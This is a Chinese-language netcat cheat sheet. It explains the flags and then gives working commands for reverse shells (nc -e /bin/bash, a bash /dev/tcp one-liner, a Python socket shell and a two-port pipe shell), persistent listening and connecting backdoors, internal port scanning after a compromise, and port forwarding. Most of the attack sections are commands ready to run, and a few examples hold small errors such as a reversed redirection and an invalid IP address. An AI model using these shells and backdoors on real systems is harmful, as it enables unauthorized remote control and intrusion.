命令参数
# 查看命令参数
nc -h
命令参数 | 描述 |
---|---|
-d | 在后台运行 |
-e | 执行某个程序,例如 -e /bin/bash |
-G gateway | 设置网关,常用于突破内网限制 |
-g num | 路由跳数 |
-i sec | 设置发送一行数据的时间间隔 |
-l | 设置nc处于listen状态等待连接 |
-L | 设置nc处于listen状态,当客户端断开,服务端任然回到listen状态 |
-n | 设置nc只识别ip地址,不进行dns解析 |
-o file | 设置传输十六进制的数据 |
-p port | 设置本地监听的端口号 |
-r | 设置netcat随机化的端口号 |
-s addr | 设置netcat源地址 |
-t | 回复telnet的请求数据包 |
-u | 设置netcat使用UDP模式 |
-v | 显示错误提示信息 |
-w secs | 设置连接超时秒数 |
-z | 设置扫描模式,表示发送的数据包不包含任何的payload |
[start_port-stop_port] | 端口范围 |
使用场景
基础使用
- 服务端
nc -l -p [localport]
#监听本地端口4444
nc -l -p 4444
- 客户端
nc [remote_addr] [remoteport]
#连接服务端192.168.1.1的4444端口
nc 192.168.1.1 4444
但是这里只是简单的建立了一个通信系统,还不能执行远程命令
反弹shell
目标已安装netcat
- 服务端
nc -l -p [localport] -e [shell_type]
nc -l -p 4444 -e /bin/bash
##监听本地端口4444,连接时反弹shell
- 客户端
nc [remote_addr] [remoteport]
#连接服务端192.168.1.1的4444端口
nc 192.168.1.1 4444
目标没有安装netcat
- 服务端
nc -lvp port
nc -lvp 4444
- 客户端
bash -i >& /dev/tcp/[target_ip]/[taget_port] 0>&1
bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
--命令解释--
bash -i >& /dev/tcp/ip/port 0>&1
bash -i 表示以交互模式运行bash she1l
>& 表示重定向符
/dev/tcp/ip/port 表示传递给远程主机的IP地址对应的端口。
0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输
出对应内容。
-------------------------------------------------------
bash -i,
如果在其后加文件描述符,是将bash -i 交互模式传递给文件描述符
如果其后是文件,则将bash -i 交互模式传递给文件。
-------------------------------------------------------
文件描述符: 0 标准输入、1标准输出、2错误输入输出
目标没有安装netcat,但是安装了Python
- 客户端
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.60.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
--命令解释--
首先使用socket与远程建立起连接,具有了远程的文件描述符3。可以使用s. fileno( )来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启一个子进程,传入参数"-i" 使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shel1。
- 服务器
nc -lvp 4444
目标支不支持 nc -e
- 客户端
nc ip port | /bin/bash | nc ip port
nc 192.168.60.1 4444| /bin/bash | nc 192.168.60.1 4445
- 服务器
nc -lvp 4444
nc -lvp 4445
需要同时监听两个端口,一个用于输入,一个用于输出
文件传输
- 取证
当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。 - 单纯获取目标机器敏感文件
当目标机器上有一-些文件内容,无法正常下载时,可以利用nc进行文件传输。 - 为什么可以直接利用nc进行文件传输呢?
nc中的数据传输使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。
客户端向服务端传输文件
- 服务端
nc -l -p [localport] > outfile
#nc -l -p 4444 > outfile
- 客户端
nc [remote_addr] [remoteport] < infile
#nc 192.168.1.1 4444 < infile
服务端向客户端传输数据
- 服务端
nc -l -p [localport] < infile
#nc -l -p 4444 > infile
- 客户端
nc [remote_addr] [remoteport] > outfile
#nc 192.168.1.1 4444 < outfile
-
避免nc“假死”
如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种“假死"状态。
解决方法:设置等待时间。#设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接。 nc -w3 [ip] [port]
信息探测
- 目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat
的话,就可以使用netcat进行内网ip和端口的扫描。 - 单纯对某个目标进行端口探测
当手头没有任何探测工具可以使用netcat进行端口探测。 - 对目标的服务banner进行抓取
通过netcat对目标端口进行探测。
端口扫描的使用方法
nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/0模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做
可以加快扫描的速度。
-w1超时设置为1秒。
抓取banner信息
echo " " | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]
建立后门
-
获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能。 -
为什么可以使用netcat建立后门,并返回操作结果?
netcat 一切数据时通过标准输入/输出流实现的,所以可以利用netcat的命令行进行后门 建立,并传输结果信息。
监听型后门:
# 服务端监听4444端口,如果收到连接则返回shell
nc -l -p 4444 -e [shell]
# 客户端直接连接
nc 192.168.60.1 4444
连接型后门:
# 服务端直接监听4444端口
nc -l -p 4444
# 客户端连接并携带shell
nc [remote_ip] [remote_port] -e [shell]
端口转发
#A与B是nat
#B与C是桥接
#要实现C通过B转发,可以与A通信
#A 192.168.2.1
nc -l -p 4444
#B 192.168.1.1
nc -l -p 4445 -e con.bat
#C 192.168.1.2
nc 192.168.60.1.1 4445
#B中con.bat的内容
nc 192.168.2.1 4444